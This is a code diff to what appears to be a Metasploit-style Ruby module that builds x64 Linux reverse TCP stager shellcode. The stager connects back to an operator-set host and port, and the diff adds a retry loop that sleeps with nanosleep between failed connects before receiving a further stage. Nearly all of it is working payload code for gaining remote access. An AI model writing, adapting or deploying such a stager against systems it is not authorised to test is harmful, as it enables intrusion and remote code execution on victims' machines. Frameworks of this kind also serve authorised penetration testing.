@@ -27,13 +27,12 @@ def generate
27
27
port : datastore [ 'LPORT' ] ,
28
28
host : datastore [ 'LHOST' ] ,
29
29
retry_count : datastore [ 'ReverseConnectRetries' ] ,
30
- reliable : false
30
+ sleep_seconds : datastore [ 'StagerRetryWait' ] ,
31
31
}
32
32
33
33
# Generate the advanced stager if we have space
34
34
if self . available_space && required_space <= self . available_space
35
35
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
36
- conf [ :reliable ] = true
37
36
end
38
37
39
38
generate_reverse_tcp ( conf )
@@ -83,12 +82,16 @@ def required_space
83
82
#
84
83
def asm_reverse_tcp ( opts = { } )
85
84
# TODO: reliability is coming
86
- retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
85
+ retry_count = opts [ :retry_count ]
87
86
reliable = opts [ :reliable ]
88
87
encoded_port = "%.8x" % [ opts [ :port ] . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
89
88
encoded_host = "%.8x" % Rex ::Socket . addr_aton ( opts [ :host ] ||"127.127.127.127" ) . unpack ( "V" ) . first
89
+ seconds = ( opts [ :sleep_seconds ] || 5.0 )
90
+ sleep_seconds = seconds . to_i
91
+ sleep_nanoseconds = ( seconds % 1 * 1000000000 ) . to_i
90
92
91
93
asm = %Q^
94
+ mmap:
92
95
xor rdi, rdi
93
96
push 0x9
94
97
pop rax
@@ -103,6 +106,10 @@ def asm_reverse_tcp(opts={})
103
106
test rax, rax
104
107
js failed
105
108
109
+ push #{ retry_count } ; retry counter
110
+ pop r9
111
+
112
+ create_socket:
106
113
push rsi
107
114
push rax
108
115
push 0x29
@@ -116,6 +123,7 @@ def asm_reverse_tcp(opts={})
116
123
test rax, rax
117
124
js failed
118
125
126
+ connect:
119
127
xchg rdi, rax
120
128
mov rcx, 0x#{ encoded_host } #{ encoded_port }
121
129
push rcx
@@ -126,8 +134,23 @@ def asm_reverse_tcp(opts={})
126
134
pop rax
127
135
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
128
136
test rax, rax
129
- js failed
137
+ jns recv
138
+
139
+ handle_failure:
140
+ dec r9
141
+ jz failed
142
+ push 0x23
143
+ pop rax
144
+ push 0x#{ sleep_nanoseconds . to_s ( 16 ) }
145
+ push 0x#{ sleep_seconds . to_s ( 16 ) }
146
+ mov rdi, rsp
147
+ xor rsi, rsi
148
+ syscall ; sys_nanosleep
149
+ test rax, rax
150
+ jns create_socket
151
+ jmp failed
130
152
153
+ recv:
131
154
pop rcx
132
155
pop rsi
133
156
pop rdx
0 commit comments